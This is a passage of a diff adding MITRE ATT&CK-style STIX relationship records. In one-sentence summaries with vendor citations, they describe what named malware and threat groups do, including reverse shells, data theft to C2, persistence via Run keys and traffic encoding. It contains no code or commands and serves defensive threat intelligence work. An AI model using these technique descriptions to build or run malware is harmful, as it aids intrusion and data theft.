"target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can decrypt, unpack and load a DLL from its resources.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b6a89ded-fa53-42b9-8f40-03c845123ac0", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:30:41.317Z", + "type": "relationship", + "id": "relationship--c7047518-c63f-41b5-a803-1ed54066a62e", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.022Z", + "source_ref": "course-of-action--1022138b-497c-40e6-b53a-13351cbd4090", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RTM](https://attack.mitre.org/software/S0148) can obtain the computer name, OS version, and default language identifier.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c6606ced-4641-451f-ac2a-493b1d15d0aa", + "external_references": [ + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) launches a shell to execute commands on the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--03a73f0c-218f-4ebf-81d2-88e2c8e9b883", + "external_references": [ + { + "source_name": "ASERT InnaputRAT April 2018", + "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.", + "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Emissary](https://attack.mitre.org/software/S0082) has the capability to execute ver, systeminfo, and gpresult commands.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4a959425-4d43-4969-9a47-768894a3afaa", + "external_references": [ + { + "source_name": "Emissary Trojan Feb 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[WINERACK](https://attack.mitre.org/software/S0219) can gather information about the host.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ed1aa5fa-7f0e-4d87-b3f5-7b50ab01e34b", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--49abab73-3c5c-476e-afd5-69b5c732d845", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-14T21:04:45.625Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b9c05069-a05f-4b74-9b4d-275c64f2e124", + "external_references": [ + { + "source_name": "ESET Turla Mosquito May 2018", + "description": "ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/" + }, + { + "source_name": "Symantec Waterbug Jun 2019", + "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments" + } + ], + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Chaos](https://attack.mitre.org/software/S0220) provides a reverse shell connection on 8338/TCP, encrypted via AES.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4d6b8bca-ad81-41d6-8b4e-194ddf04d3dd", + "external_references": [ + { + "source_name": "Chaos Stolen Backdoor", + "description": "Sebastian Feldmann. (2018, February 14). Chaos: a Stolen Backdoor Rising Again. Retrieved March 5, 2018.", + "url": "http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/" + } + ], + "modified": "2019-05-10T18:57:53.140Z", + "source_ref": "malware--5bcd5511-6756-4824-a692-e8bb109364af", + "relationship_type": "uses", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SLOWDRIFT](https://attack.mitre.org/software/S0218) collects and sends system information to its C2.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--128eb6e8-d1a7-4ff6-85e6-a68cfea3298e", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--414dc555-c79e-4b24-a2da-9b607f7eaf16", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) has registered itself as a scheduled task to run each time the current user logs in.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1aa10371-6473-416a-8b8b-17c36f700233", + "external_references": [ + { + "source_name": "ESET Sednit Part 1", + "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf" + }, + { + "source_name": "ESET Sednit July 2015", + "description": "ESET Research. (2015, July 10). Sednit APT Group Meets Hacking Team. Retrieved March 1, 2017.", + "url": "http://www.welivesecurity.com/2015/07/10/sednit-apt-group-meets-hacking-team/" + } + ], + "modified": "2019-02-01T14:39:36.194Z", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used a Metasploit PowerShell module to download and execute shellcode and to set up a local listener. [FIN6](https://attack.mitre.org/groups/G0037) has also used scripting to iterate through a list of compromised PoS systems, copy data to a log file, and remove the original data files.", + "type": "relationship", + "created": "2017-05-31T21:33:27.071Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1f764874-0e08-4799-9487-a9e12c499c13", + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + }, + { + "source_name": "FireEye FIN6 Apr 2019", + "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" + } + ], + "modified": "2019-06-28T14:59:17.714Z", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware has used a PowerShell command to check the victim system architecture to determine if it is an x64 machine. Other malware has obtained the OS version, UUID, and computer/host name to send to the C2 server.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b60dcc78-83b0-4fe2-b874-6f22f99b6087", + "external_references": [ + { + "source_name": "Unit 42 Magic Hound Feb 2017", + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + } + ], + "modified": "2019-03-25T14:25:29.494Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) searches recursively for Outlook personal storage tables (PST) files within user directories and sends them back to the C2 server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--64e3196b-50c6-47d9-8841-1b7902a1546a", + "external_references": [ + { + "source_name": "FireEye CARBANAK June 2017", + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DustySky](https://attack.mitre.org/software/S0062) scans the victim for files that contain certain keywords from a list that is obtained from the C2 as a text file. It also collects information about installed software.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f9773935-853e-4d5e-9345-9587fd77340d", + "external_references": [ + { + "source_name": "DustySky", + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gazer](https://attack.mitre.org/software/S0168) logs its actions into files that are encrypted with 3DES. It also uses RSA to encrypt resources.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--deb7df24-689e-4e4e-909f-a270241ab65a", + "external_references": [ + { + "source_name": "Securelist WhiteBear Aug 2017", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", + "url": "https://securelist.com/introducing-whitebear/81638/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) deleted the DLL dropper from the victim\u2019s machine to cover their tracks.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--88852c38-9aeb-47f4-be63-dc09b8583155", + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + } + ], + "modified": "2019-07-26T23:38:33.847Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Felismus](https://attack.mitre.org/software/S0171) checks for processes associated with anti-virus vendors.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--863c1d57-db93-49a9-a953-eb7c2d6b2e5b", + "external_references": [ + { + "source_name": "Forcepoint Felismus Mar 2017", + "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.", + "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gazer](https://attack.mitre.org/software/S0168) identifies a proxy server if it exists and uses it to make HTTP requests.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--59543467-938a-4528-961d-a539f0a5618b", + "external_references": [ + { + "source_name": "ESET Gazer Aug 2017", + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "relationship_type": "uses", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) C2 traffic is encrypted using bitwise NOT and XOR operations.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7feb6ceb-8a7c-45a9-902a-9b9c2c9a5e2c", + "external_references": [ + { + "source_name": "Symantec Hydraq Jan 2010", + "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-14T21:04:45.627Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.046Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5c0645e4-f0c7-4bb4-bedb-29a96a472fe0", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "tool--30489451-5886-4c46-90c9-0dff9adc5252" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT37](https://attack.mitre.org/groups/G0067) uses HTTPS to conceal C2 communications.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1e363612-b503-47b2-b697-daf75ef3740a", + "external_references": [ + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + } + ], + "modified": "2019-07-08T14:33:16.030Z", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that can enumerate current network connections.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4d82bac6-ec9d-4f4b-a471-169728a830a4", + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + }, + { + "source_name": "FireEye Clandestine Fox", + "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html" + }, + { + "source_name": "evolution of pirpi", + "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.", + "url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution_of_pirpi.pdf" + } + ], + "modified": "2019-04-29T18:01:20.478Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BBSRAT](https://attack.mitre.org/software/S0127) has been loaded through DLL side-loading of a legitimate Citrix executable that is set to persist through the Registry Run key location HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ssonsvr.exe.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4af1ec66-5007-49df-8a10-df2c8ed7edc8", + "modified": "2019-04-24T23:10:02.430Z", + "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has detached network shares after exfiltrating files, likely to evade detection.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--dc7cb17d-c3d3-4c3c-b79e-499cede49baa", + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "modified": "2019-07-14T21:15:55.180Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--e7eab98d-ae11-4491-bd28-a53ba875865a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FLASHFLOOD](https://attack.mitre.org/software/S0036) employs the same encoding scheme as [SPACESHIP](https://attack.mitre.org/software/S0035) for data it stages. Data is compressed with zlib, and bytes are rotated four times before being XOR'ed with 0x23.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f9669551-29f8-4aaf-83b9-50e541bbdced", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a", + "relationship_type": "uses", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used VBS, VBE, and batch scripts for execution.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d57dd9d9-d075-48c4-ae54-ed0aeae575de", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "modified": "2019-03-22T19:57:37.310Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pupy](https://attack.mitre.org/software/S0192) has a built-in module for port scanning.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--01a1c2f4-ccb3-4238-9c9c-d6ca3a098ed9", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "modified": "2019-04-24T17:52:47.856Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "relationship_type": "uses", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-11T13:53:06.121Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d0cd5f13-7e44-4728-98df-6e832f5d54dc", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "malware--f5352566-1a64-49ac-8f7f-97e1d1a03300" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a Registry subkey to register its created service, and can also uninstall itself later by deleting this value. [Hydraq](https://attack.mitre.org/software/S0203)'s backdoor also enables remote attackers to modify and delete subkeys.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--541855dd-0249-4f63-8e95-0024f760484e", + "external_references": [ + { + "source_name": "Symantec Trojan.Hydraq Jan 2010", + "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", + "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident" + }, + { + "source_name": "Symantec Hydraq Jan 2010", + "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) has used spearphishing with an attachment to deliver files with exploits to initial victims.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5b63f8fd-efc7-454f-b466-d5e0a525f64f", + "external_references": [ + { + "source_name": "Cymmetria Patchwork", + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + }, + { + "source_name": "Securelist Dropping Elephant", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant \u2013 aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.", + "url": "https://securelist.com/the-dropping-elephant-actor/75328/" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": 